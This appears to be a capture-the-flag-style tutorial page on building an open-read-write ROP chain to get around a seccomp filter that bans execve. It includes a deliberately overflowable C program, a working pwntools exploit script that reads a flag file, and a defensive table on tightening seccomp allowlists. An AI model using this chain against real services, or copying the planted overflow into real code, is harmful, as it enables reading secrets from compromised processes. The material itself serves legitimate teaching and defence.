Skip to content

Seccomp Sandboxes and the open-read-write Chain

A seccomp policy that bans execve takes the shell off the table, so attackers switch goals: open the flag, read it, write it back. Build the ORW chain, and see what a tighter policy stops.

Published on 4 min read

This is the fourteenth walkthrough in the Exploitation Techniques area. Every finale so far ended in execve("/bin/sh", ...). Many real targets — sandboxed parsers, browser renderers, hardened daemons — install a seccomp filter that forbids execve outright. A shell is impossible. So the attacker changes the objective: open the sensitive file, read it, write it back to the connection. This is the ORW (open-read-write) chain, and it is why seccomp is such a valuable mitigation to reason about.

Your own binary, disposable lab. See the lab rules.

The target: a sandbox that bans execve

/* vuln.c — installs a seccomp allowlist, then has an overflow. */
#include <unistd.h>
#include <seccomp.h>

static void sandbox(void) {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);   /* deny by default */
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat),0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);                                   /* execve now kills us */
}

void vuln(void){ char b[64]; read(0, b, 1024); }
int main(void){ sandbox(); vuln(); return 0; }
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c -lseccomp

First, confirm the policy from the outside — exactly as a defender auditing the sandbox would:

$ seccomp-tools dump ./vuln
 line  CODE  JT   JF      K
=================================
 ...
 0007: ALLOW  open
 0008: ALLOW  read
 0009: ALLOW  write
 0010: ALLOW  exit_group
 0011: KILL                       ← execve lands here

execve is not allowed, so ret2libc, one-gadget and an execve ROP chain all die on the KILL. But open, read and write are allowed.

The ORW chain

The plan is three syscalls: open("flag.txt") → read(fd, bss, n) → write(1, bss, n). We build it with gadgets exactly as in the ROP guide; a static binary has all we need, and pwntools' ROP lays out the syscalls.

# orw.py
from pwn import *

context.binary = elf = ELF("./vuln")

rop = ROP(elf)
bss = elf.bss(0x400)                     # scratch buffer, known address (no PIE)

# Stage the filename into .bss with a read, then open/read/write it.
rop.read(0, bss, 16)                     # read "flag.txt\0" into bss
rop.open(bss, 0)                         # fd = open(bss, O_RDONLY)
rop.read(3, bss, 100)                    # read(fd=3, bss, 100)
rop.write(1, bss, 100)                   # write(stdout, bss, 100)

payload = flat({72: rop.chain()})
io = process("./vuln")
io.sendline(payload)                     # the ORW chain
io.send(b"flag.txt\x00")                 # the filename read() consumes
print(io.recvall(timeout=2).decode(errors="replace"))
$ python3 orw.py
flag{seccomp_only_contained_the_shell_not_the_read}

No shell was ever spawned. The chain used only the three syscalls the policy allowed to read a file and print it. Note the assumption that the freshly opened file gets fd == 3 (stdin/out/err are 0/1/2); if the program has other open descriptors, adjust or use the return value.

When even open is blocked

Tighter policies deny open/openat too. Then attackers reach for openat2, open_by_handle_at, or already-open descriptors — which is exactly why a good policy also denies those and pins the allowed set as narrowly as the program truly needs.

The defensive lens: make the policy tighter

seccomp is the mitigation here, and this exercise shows both its value and its limits.

Policy choiceEffect
Deny execve/execveatNo shell — forces attackers to ORW
Also deny open/openat/openat2No arbitrary file reads via new opens
Deny socket/connect/sendtoNo network exfiltration
Allow only the exact syscalls usedSmallest blast radius; audit with seccomp-tools
SCMP_ACT_KILL vs ERRNOKILL turns misuse into a loud crash you can alert on

The point for defenders: seccomp does not stop the memory-corruption bug — the attacker still got code execution. It caps what that execution can do. A policy that bans execve but leaves open/read/write wide open still lets an attacker steal file contents. Scope the allowlist to what the program genuinely needs, deny file and network syscalls in pure-compute sandboxes, and audit the result.

What this teaches a defender

  • Sandbox exposed parsers and daemons with seccomp. It is one of the few mitigations that limits a fully compromised process. For anything that handles untrusted input, it is high-value defence in depth.
  • A shell is not the only prize. Even a perfect execve ban leaves data exfiltration on the table if file/network syscalls remain. Threat-model what the attacker wants (often just to read a secret), not only "can they get a shell."
  • Audit the filter you actually shipped. seccomp-tools dump shows the real policy. Overly broad allowlists are common; treat the filter as security-critical configuration and review it.

Key takeaways

  • A seccomp allowlist that denies execve defeats every shell-spawning finale in this series.
  • Attackers respond with an open-read-write chain: open the target file, read it, write it back — using only permitted syscalls.
  • Build ORW with the same ROP mechanics as an execve chain; audit policies with seccomp-tools.
  • seccomp contains a compromise, it does not prevent one — scope the allowlist tightly and deny file/network syscalls where the program does not need them.

This extends the series into contained, no-shell exploitation. For the full path and where to practise it legally, see the area overview and the CTF learning path.

Related guides

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.

0x7000 · Exploitation Techniques

ret2csu: Borrowing the Runtime's Universal Gadget

No pop rdx gadget? The C runtime's startup code has a universal sequence that loads several registers and makes a controlled call. Build it with pwntools, and see where it's gone.

0x7000 · Exploitation Techniques

SROP: Exploiting with a Fake Signal Frame

When gadgets are scarce, forge a signal frame. A sigreturn syscall restores every register from the stack at once — build one with pwntools to call execve, then see how seccomp and CET respond.